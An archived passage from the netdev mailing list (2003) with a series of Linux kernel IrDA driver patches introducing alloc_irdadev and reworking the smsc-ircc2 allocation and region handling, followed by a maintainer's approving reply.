indentation fix for readablity diff -Nru a/drivers/net/irda/smsc-ircc2.c b/drivers/net/irda/smsc-ircc2.c --- a/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:29:39 2003 +++ b/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:29:39 2003 @@ -375,7 +375,7 @@ goto err_out; err = -ENOMEM; - if (dev_count>DIM(dev_self)) { + if (dev_count > DIM(dev_self)) { WARNING("%s(), too many devices!\n", __FUNCTION__); goto err_out1; } @@ -407,8 +407,12 @@ smsc_ircc_init_chip(self); - if(ircc_transceiver > 0 && ircc_transceiver < SMSC_IRCC2_C_NUMBER_OF_TRANSCEIVERS) self->transceiver = ircc_transceiver; - else smsc_ircc_probe_transceiver(self); + if(ircc_transceiver > 0 && + ircc_transceiver < SMSC_IRCC2_C_NUMBER_OF_TRANSCEIVERS) + self->transceiver = ircc_transceiver; + else + smsc_ircc_probe_transceiver(self); + err = smsc_ircc_setup_netdev(self); if(err) From shemminger@osdl.org Tue Sep 30 15:27:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:37 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMR4Fx020066 for ; Tue, 30 Sep 2003 15:27:04 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ6106058; Tue, 30 Sep 2003 15:26:06 -0700 Date: Tue, 30 Sep 2003 15:21:00 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (16/16) irda-usb use alloc_irdadev Message-Id: <20030930152100.51ff2efc.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 412 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Use alloc_irdadev here; worth looking into putting control block in space allocated for dev->priv, but not now. diff -Nru a/drivers/net/irda/irda-usb.c b/drivers/net/irda/irda-usb.c --- a/drivers/net/irda/irda-usb.c Tue Sep 30 11:56:34 2003 +++ b/drivers/net/irda/irda-usb.c Tue Sep 30 11:56:34 2003 @@ -1176,7 +1176,7 @@ memset(self->speed_buff, 0, IRDA_USB_SPEED_MTU); /* Create a network device for us */ - netdev = alloc_netdev(0, "irda%d", irda_device_setup); + netdev = alloc_irdadev(0); if (!netdev) { ERROR("%s(), alloc_net_dev() failed!\n", __FUNCTION__); return -ENOMEM; From shemminger@osdl.org Tue Sep 30 15:26:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:29 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQuFx020036 for ; Tue, 30 Sep 2003 15:26:57 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ5106050; Tue, 30 Sep 2003 15:26:05 -0700 Date: Tue, 30 Sep 2003 15:19:06 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (15/16) smsc-ircc2 -- convert to alloc_irdadev Message-Id: <20030930151906.2c51fe58.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 410 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Rather than two allocations, use alloc_iradev and dev->priv to hold local data. Move the setup code for network device and buffer inline since it cleans up the error unwind. diff -Nru a/drivers/net/irda/smsc-ircc2.c b/drivers/net/irda/smsc-ircc2.c --- a/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:37:56 2003 +++ b/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:37:56 2003 @@ -141,9 +141,7 @@ static int smsc_ircc_open(unsigned int firbase, unsigned int sirbase, u8 dma, u8 irq); static int smsc_ircc_present(unsigned int fir_base, unsigned int sir_base); static void smsc_ircc_setup_io(struct smsc_ircc_cb *self, unsigned int fir_base, unsigned int sir_base, u8 dma, u8 irq); -static int smsc_ircc_setup_buffers(struct smsc_ircc_cb *self); static void smsc_ircc_setup_qos(struct smsc_ircc_cb *self); -static int smsc_ircc_setup_netdev(struct smsc_ircc_cb *self); static void smsc_ircc_init_chip(struct smsc_ircc_cb *self); static int __exit smsc_ircc_close(struct smsc_ircc_cb *self); static int smsc_ircc_dma_receive(struct smsc_ircc_cb *self, int iobase); @@ -163,7 +161,6 @@ #endif static void smsc_ircc_sir_write_wakeup(struct smsc_ircc_cb *self); static int smsc_ircc_sir_write(int iobase, int fifo_size, __u8 *buf, int len); -static int smsc_ircc_net_init(struct net_device *dev); static int smsc_ircc_net_open(struct net_device *dev); static int smsc_ircc_net_close(struct net_device *dev); static int smsc_ircc_net_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); @@ -366,6 +363,7 @@ static int __init smsc_ircc_open(unsigned int fir_base, unsigned int sir_base, u8 dma, u8 irq) { struct smsc_ircc_cb *self; + struct net_device *dev; int err; IRDA_DEBUG(1, "%s\n", __FUNCTION__); @@ -383,21 +381,61 @@ /* * Allocate new instance of the driver */ - self = kmalloc(sizeof(struct smsc_ircc_cb), GFP_KERNEL); - if (self == NULL) { - ERROR("%s, Can't allocate memory for control block!\n", - driver_name); + dev = alloc_irdadev(sizeof(struct smsc_ircc_cb)); + if (!dev) { + WARNING("%s() can't allocate net device\n", __FUNCTION__); goto err_out1; } - memset(self, 0, sizeof(struct smsc_ircc_cb)); + + SET_MODULE_OWNER(dev); + + dev->hard_start_xmit = smsc_ircc_hard_xmit_sir; +#if SMSC_IRCC2_C_NET_TIMEOUT + dev->tx_timeout = smsc_ircc_timeout; + dev->watchdog_timeo = HZ*2; /* Allow enough time for speed change */ +#endif + dev->open = smsc_ircc_net_open; + dev->stop = smsc_ircc_net_close; + dev->do_ioctl = smsc_ircc_net_ioctl; + dev->get_stats = smsc_ircc_net_get_stats; + + self = dev->priv; + self->netdev = dev; + + /* Make ifconfig display some details */ + dev->base_addr = self->io.fir_base = fir_base; + dev->irq = self->io.irq = irq; /* Need to store self somewhere */ dev_self[dev_count++] = self; spin_lock_init(&self->lock); - err = smsc_ircc_setup_buffers(self); - if(err) - goto err_out1; + self->rx_buff.truesize = SMSC_IRCC2_RX_BUFF_TRUESIZE; + self->tx_buff.truesize = SMSC_IRCC2_TX_BUFF_TRUESIZE; + + self->rx_buff.head = (u8 *) kmalloc(self->rx_buff.truesize, + GFP_KERNEL|GFP_DMA); + if (self->rx_buff.head == NULL) { + ERROR("%s, Can't allocate memory for receive buffer!\n", + driver_name); + goto err_out2; + } + + self->tx_buff.head = (u8 *) kmalloc(self->tx_buff.truesize, + GFP_KERNEL|GFP_DMA); + if (self->tx_buff.head == NULL) { + ERROR("%s, Can't allocate memory for transmit buffer!\n", + driver_name); + goto err_out3; + } + + memset(self->rx_buff.head, 0, self->rx_buff.truesize); + memset(self->tx_buff.head, 0, self->tx_buff.truesize); + + self->rx_buff.in_frame = FALSE; + self->rx_buff.state = OUTSIDE_FRAME; + self->tx_buff.data = self->tx_buff.head; + self->rx_buff.data = self->rx_buff.head; smsc_ircc_setup_io(self, fir_base, sir_base, dma, irq); @@ -413,17 +451,27 @@ else smsc_ircc_probe_transceiver(self); - - err = smsc_ircc_setup_netdev(self); - if(err) - goto err_out1; + err = register_netdev(self->netdev); + if(err) { + ERROR("%s, Network device registration failed!\n", + driver_name); + goto err_out4; + } self->pmdev = pm_register(PM_SYS_DEV, PM_SYS_IRDA, smsc_ircc_pmproc); if (self->pmdev) self->pmdev->data = self; - return 0; + MESSAGE("IrDA: Registered device %s\n", dev->name); + return 0; + err_out4: + kfree(self->tx_buff.head); + err_out3: + kfree(self->rx_buff.head); + err_out2: + free_netdev(self->netdev); + dev_self[--dev_count] = NULL; err_out1: release_region(fir_base, SMSC_IRCC2_FIR_CHIP_IO_EXTENT); release_region(sir_base, SMSC_IRCC2_SIR_CHIP_IO_EXTENT); @@ -455,7 +503,6 @@ goto out2; } - register_bank(fir_base, 3); high = inb(fir_base+IRCC_ID_HIGH); @@ -471,7 +518,6 @@ __FUNCTION__, fir_base); goto out3; } - MESSAGE("SMsC IrDA Controller found\n IrCC version %d.%d, " "firport 0x%03x, sirport 0x%03x dma=%d, irq=%d\n", chip & 0x0f, version, fir_base, sir_base, dma, irq); @@ -486,47 +532,6 @@ } /* - * Function smsc_ircc_setup_buffers(self) - * - * Setup RX/TX buffers - * - */ -static int smsc_ircc_setup_buffers(struct smsc_ircc_cb *self) -{ - self->rx_buff.truesize = SMSC_IRCC2_RX_BUFF_TRUESIZE; - self->tx_buff.truesize = SMSC_IRCC2_TX_BUFF_TRUESIZE; - - self->rx_buff.head = (u8 *) kmalloc(self->rx_buff.truesize, - GFP_KERNEL|GFP_DMA); - if (self->rx_buff.head == NULL) { - ERROR("%s, Can't allocate memory for receive buffer!\n", - driver_name); - kfree(self); - return -ENOMEM; - } - - self->tx_buff.head = (u8 *) kmalloc(self->tx_buff.truesize, - GFP_KERNEL|GFP_DMA); - if (self->tx_buff.head == NULL) { - ERROR("%s, Can't allocate memory for transmit buffer!\n", - driver_name); - kfree(self->rx_buff.head); - kfree(self); - return -ENOMEM; - } - - memset(self->rx_buff.head, 0, self->rx_buff.truesize); - memset(self->tx_buff.head, 0, self->tx_buff.truesize); - - self->rx_buff.in_frame = FALSE; - self->rx_buff.state = OUTSIDE_FRAME; - self->tx_buff.data = self->tx_buff.head; - self->rx_buff.data = self->rx_buff.head; - - return 0; -} - -/* * Function smsc_ircc_setup_io(self, fir_base, sir_base, dma, irq) * * Setup I/O @@ -637,57 +642,6 @@ } /* - * Function smsc_ircc_setup_netdev(self) - * - * Alloc and setup network device - * - */ -static int smsc_ircc_setup_netdev(struct smsc_ircc_cb *self) -{ - struct net_device *dev; - int err; - /* Alloc netdev */ - - if (!(dev = dev_alloc("irda%d", &err))) { - ERROR("%s(), dev_alloc() failed!\n", __FUNCTION__); - kfree(self->tx_buff.head); - kfree(self->rx_buff.head); - kfree(self); - return -ENOMEM; - } - - dev->priv = (void *) self; - self->netdev = dev; - - dev->init = smsc_ircc_net_init; - dev->hard_start_xmit = smsc_ircc_hard_xmit_sir; - #if SMSC_IRCC2_C_NET_TIMEOUT - dev->tx_timeout = smsc_ircc_timeout; - dev->watchdog_timeo = HZ*2; /* Allow enough time for speed change */ - #endif - dev->open = smsc_ircc_net_open; - dev->stop = smsc_ircc_net_close; - dev->do_ioctl = smsc_ircc_net_ioctl; - dev->get_stats = smsc_ircc_net_get_stats; - - /* Make ifconfig display some details */ - dev->base_addr = self->io.fir_base; - dev->irq = self->io.irq; - - err = register_netdev(dev); - if (err) { - ERROR("%s(), register_netdev() failed!\n", __FUNCTION__); - kfree(self->tx_buff.head); - kfree(self->rx_buff.head); - kfree(self); - return -ENODEV; - } - MESSAGE("IrDA: Registered device %s\n", dev->name); - - return 0; -} - -/* * Function smsc_ircc_net_ioctl (dev, rq, cmd) * * Process IOCTL commands for this device @@ -1571,18 +1525,6 @@ } #endif /* unused */ -static int smsc_ircc_net_init(struct net_device *dev) -{ - /* Keep track of module usage */ - SET_MODULE_OWNER(dev); - - /* Set up to be a normal IrDA network device driver */ - irda_device_setup(dev); - - /* Insert overrides below this line! */ - - return 0; -} /* * Function smsc_ircc_net_open (dev) @@ -1745,8 +1687,7 @@ pm_unregister(self->pmdev); /* Remove netdevice */ - if (self->netdev) - unregister_netdev(self->netdev); + unregister_netdev(self->netdev); /* Make sure the irq handler is not exectuting */ spin_lock_irqsave(&self->lock, flags); @@ -1781,7 +1722,7 @@ if (self->rx_buff.head) kfree(self->rx_buff.head); - kfree(self); + free_netdev(self->netdev); return 0; } From shemminger@osdl.org Tue Sep 30 15:27:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:40 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMR6Fx020083 for ; Tue, 30 Sep 2003 15:27:06 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ7106082; Tue, 30 Sep 2003 15:26:07 -0700 Date: Tue, 30 Sep 2003 15:21:44 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (11/16) smsc-ircc2 -- register_netdev Message-Id: <20030930152144.3e3e3353.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 413 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Again, smsc doesn't need to use rtnl, it is take care of by using register_netdev. diff -Nru a/drivers/net/irda/smsc-ircc2.c b/drivers/net/irda/smsc-ircc2.c --- a/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:26:14 2003 +++ b/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:26:14 2003 @@ -672,9 +672,7 @@ dev->base_addr = self->io.fir_base; dev->irq = self->io.irq; - rtnl_lock(); - err = register_netdevice(dev); - rtnl_unlock(); + err = register_netdev(dev); if (err) { ERROR("%s(), register_netdev() failed!\n", __FUNCTION__); kfree(self->tx_buff.head); From shemminger@osdl.org Tue Sep 30 15:27:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:43 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMR9Fx020121 for ; Tue, 30 Sep 2003 15:27:10 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ5106054; Tue, 30 Sep 2003 15:26:05 -0700 Date: Tue, 30 Sep 2003 15:04:07 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (5/16) donauboe -- use alloc_irdadev Message-Id: <20030930150407.18dad5dc.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 415 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev diff -Nru a/drivers/net/irda/donauboe.c b/drivers/net/irda/donauboe.c --- a/drivers/net/irda/donauboe.c Tue Sep 30 11:56:29 2003 +++ b/drivers/net/irda/donauboe.c Tue Sep 30 11:56:29 2003 @@ -1598,8 +1598,7 @@ if ((err=pci_enable_device(pci_dev))) return err; - dev = alloc_netdev(sizeof (struct toshoboe_cb), "irda%d", - irda_device_setup); + dev = alloc_irdadev(sizeof (struct toshoboe_cb)); if (dev == NULL) { printk (KERN_ERR DRIVER_NAME ": can't allocate memory for " From shemminger@osdl.org Tue Sep 30 15:27:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:35 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMR2Fx020058 for ; Tue, 30 Sep 2003 15:27:02 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ4106025; Tue, 30 Sep 2003 15:26:04 -0700 Date: Tue, 30 Sep 2003 14:59:43 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (2/16) add alloc_irdadev Message-Id: <20030930145943.2c45442f.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 411 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev For 2.6.0-test6 add alloc_irdadev in same manner as alloc_etherdev. diff -Nru a/include/net/irda/irda_device.h b/include/net/irda/irda_device.h --- a/include/net/irda/irda_device.h Tue Sep 30 11:56:19 2003 +++ b/include/net/irda/irda_device.h Tue Sep 30 11:56:19 2003 @@ -223,6 +223,7 @@ int irda_device_set_dtr_rts(struct net_device *dev, int dtr, int rts); int irda_device_change_speed(struct net_device *dev, __u32 speed); void irda_device_setup(struct net_device *dev); +struct net_device *alloc_irdadev(int sizeof_priv); /* Dongle interface */ void irda_device_unregister_dongle(struct dongle_reg *dongle); diff -Nru a/net/irda/irda_device.c b/net/irda/irda_device.c --- a/net/irda/irda_device.c Tue Sep 30 11:56:19 2003 +++ b/net/irda/irda_device.c Tue Sep 30 11:56:19 2003 @@ -388,6 +388,17 @@ } /* + * Funciton alloc_irdadev + * Allocates and sets up an IRDA device in a manner similar to + * alloc_etherdev. + */ +struct net_device *alloc_irdadev(int sizeof_priv) +{ + return alloc_netdev(sizeof_priv, "irda%d", irda_device_setup); +} + + +/* * Function irda_device_txqueue_empty (dev) * * Check if there is still some frames in the transmit queue for this diff -Nru a/net/irda/irsyms.c b/net/irda/irsyms.c --- a/net/irda/irsyms.c Tue Sep 30 11:56:19 2003 +++ b/net/irda/irsyms.c Tue Sep 30 11:56:19 2003 @@ -150,6 +150,7 @@ EXPORT_SYMBOL(irda_init_max_qos_capabilies); EXPORT_SYMBOL(irda_qos_bits_to_value); EXPORT_SYMBOL(irda_device_setup); +EXPORT_SYMBOL(alloc_irdadev); EXPORT_SYMBOL(irda_device_set_media_busy); EXPORT_SYMBOL(irda_device_txqueue_empty); From shemminger@osdl.org Tue Sep 30 15:27:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:42 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMR6Fx020082 for ; Tue, 30 Sep 2003 15:27:06 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ6106066; Tue, 30 Sep 2003 15:26:06 -0700 Date: Tue, 30 Sep 2003 15:21:24 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (12/16) smsc-ircc2 -- replace check_region with request_region Message-Id: <20030930152124.297b7d48.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 414 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Rather than checking region, then using it; use request_region and release after use. diff -Nru a/drivers/net/irda/smsc-ircc2.c b/drivers/net/irda/smsc-ircc2.c --- a/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:26:33 2003 +++ b/drivers/net/irda/smsc-ircc2.c Tue Sep 30 14:26:33 2003 @@ -2264,32 +2264,36 @@ static int __init smsc_superio_fdc(unsigned short cfg_base) { - if (check_region(cfg_base, 2) < 0) { + int ret = -1; + + if (!request_region(cfg_base, 2, driver_name)) { WARNING("%s: can't get cfg_base of 0x%03x\n", __FUNCTION__, cfg_base); - return -1; - } + } else { + if (!smsc_superio_flat(fdc_chips_flat,cfg_base,"FDC") + ||!smsc_superio_paged(fdc_chips_paged,cfg_base,"FDC")) + ret = 0; - if (!smsc_superio_flat(fdc_chips_flat,cfg_base,"FDC")||!smsc_superio_paged(fdc_chips_paged,cfg_base,"FDC")) - return 0; + release_region(cfg_base, 2); + } - return -1; + return ret; } static int __init smsc_superio_lpc(unsigned short cfg_base) { -#if 0 - if (check_region(cfg_base, 2) < 0) { - IRDA_DEBUG(0, __FUNCTION__ ": can't get cfg_base of 0x%03x\n", - cfg_base); - return -1; - } -#endif + int ret = -1; - if (!smsc_superio_flat(lpc_chips_flat,cfg_base,"LPC")||!smsc_superio_paged(lpc_chips_paged,cfg_base,"LPC")) - return 0; - - return -1; + if (!request_region(cfg_base, 2, driver_name)) { + WARNING("%s: can't get cfg_base of 0x%03x\n", + __FUNCTION__, cfg_base); + } else { + if (!smsc_superio_flat(lpc_chips_flat,cfg_base,"LPC") + ||!smsc_superio_paged(lpc_chips_paged,cfg_base,"LPC")) + ret = 0; + release_region(cfg_base, 2); + } + return ret; } /************************************************ From shemminger@osdl.org Tue Sep 30 15:27:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:27:52 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMRIFx020288 for ; Tue, 30 Sep 2003 15:27:19 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMQ5106046; Tue, 30 Sep 2003 15:26:05 -0700 Date: Tue, 30 Sep 2003 15:02:47 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: irda-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] (4/16) ali-ircc use alloc_irdadev Message-Id: <20030930150247.421659e8.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.5claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 416 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev diff -Nru a/drivers/net/irda/ali-ircc.c b/drivers/net/irda/ali-ircc.c --- a/drivers/net/irda/ali-ircc.c Tue Sep 30 11:56:26 2003 +++ b/drivers/net/irda/ali-ircc.c Tue Sep 30 11:56:26 2003 @@ -254,7 +254,7 @@ if ((ali_ircc_setup(info)) == -1) return -1; - dev = alloc_netdev(sizeof(*self), "irda%d", irda_device_setup); + dev = alloc_irdadev(sizeof(*self)); if (dev == NULL) { ERROR("%s(), can't allocate memory for control block!\n", __FUNCTION__); return -ENOMEM; From jt@bougret.hpl.hp.com Tue Sep 30 16:00:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 16:01:26 -0700 (PDT) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UN0oFx027539 for ; Tue, 30 Sep 2003 16:00:50 -0700 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel11.hp.com (Postfix) with ESMTP id E8C741C00E70; Tue, 30 Sep 2003 16:00:49 -0700 (PDT) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_28810)/8.9.3 HPLabs Timeshare Server) with ESMTP id QAA06300; Tue, 30 Sep 2003 16:00:49 -0700 (PDT) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1A4TU9-0005sv-00; Tue, 30 Sep 2003 16:00:49 -0700 Date: Tue, 30 Sep 2003 16:00:49 -0700 To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com, irda-users@lists.sourceforge.net Subject: Re: [PATCH] (0/16) intro to IRDA patches for 2.6.0-test6 Message-ID: <20030930230049.GA22339@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20030930152530.1e279c29.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030930152530.1e279c29.shemminger@osdl.org> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 417 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev On Tue, Sep 30, 2003 at 03:25:30PM -0700, Stephen Hemminger wrote: > These patches are a replacement for the moderate one chunk I sent out yesterday. > They continue in the same vein of revising how IRDA devices are allocated. > The new thing is the introduction of alloc_irdadev and changing over the places > I used alloc_netdev to that. > > Mostly they are trivial, but smsc-ircc2 got changed to get rid of check_region > usage as well. > > David, please apply after Jean gives his approval. The self destruct patch is absolutely needed, and I like very much the alloc_irdadev work. Please go ahead, I'll test them in parallel. Thanks ! Jean From greg@kroah.com Tue Sep 30 16:50:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 16:51:04 -0700 (PDT) Received: from perch.kroah.org (mail.kroah.org [65.200.24.183]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UNoUFx001456 for ; Tue, 30 Sep 2003 16:50:30 -0700 Received: from [192.168.0.10] (12-203-16-54.client.attbi.com [12.203.16.54]) (authenticated) by perch.kroah.org (8.11.6/8.11.6) with ESMTP id h8UNnOh04780; Tue, 30 Sep 2003 16:49:24 -0700 Received: from greg by echidna.kroah.org with local (masqmail 0.2.19) id 1A4Tz9-5a3-00; Tue, 30 Sep 2003 16:32:51 -0700 Date: Tue, 30 Sep 2003 16:32:51 -0700 From: Greg KH To: Xose Vazquez Perez Cc: netdev@oss.sgi.com, linux-kernel Subject: Re: [PATCH 2.6] pci.ids for e1000 Message-ID: <20030930233251.GA21422@kroah.com> References: <3F621965.4070106@wanadoo.es> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3F621965.4070106@wanadoo.es> User-Agent: Mutt/1.4.1i X-archive-position: 418 X-ecartis-version: Ecartis v1.0.0 Sender: 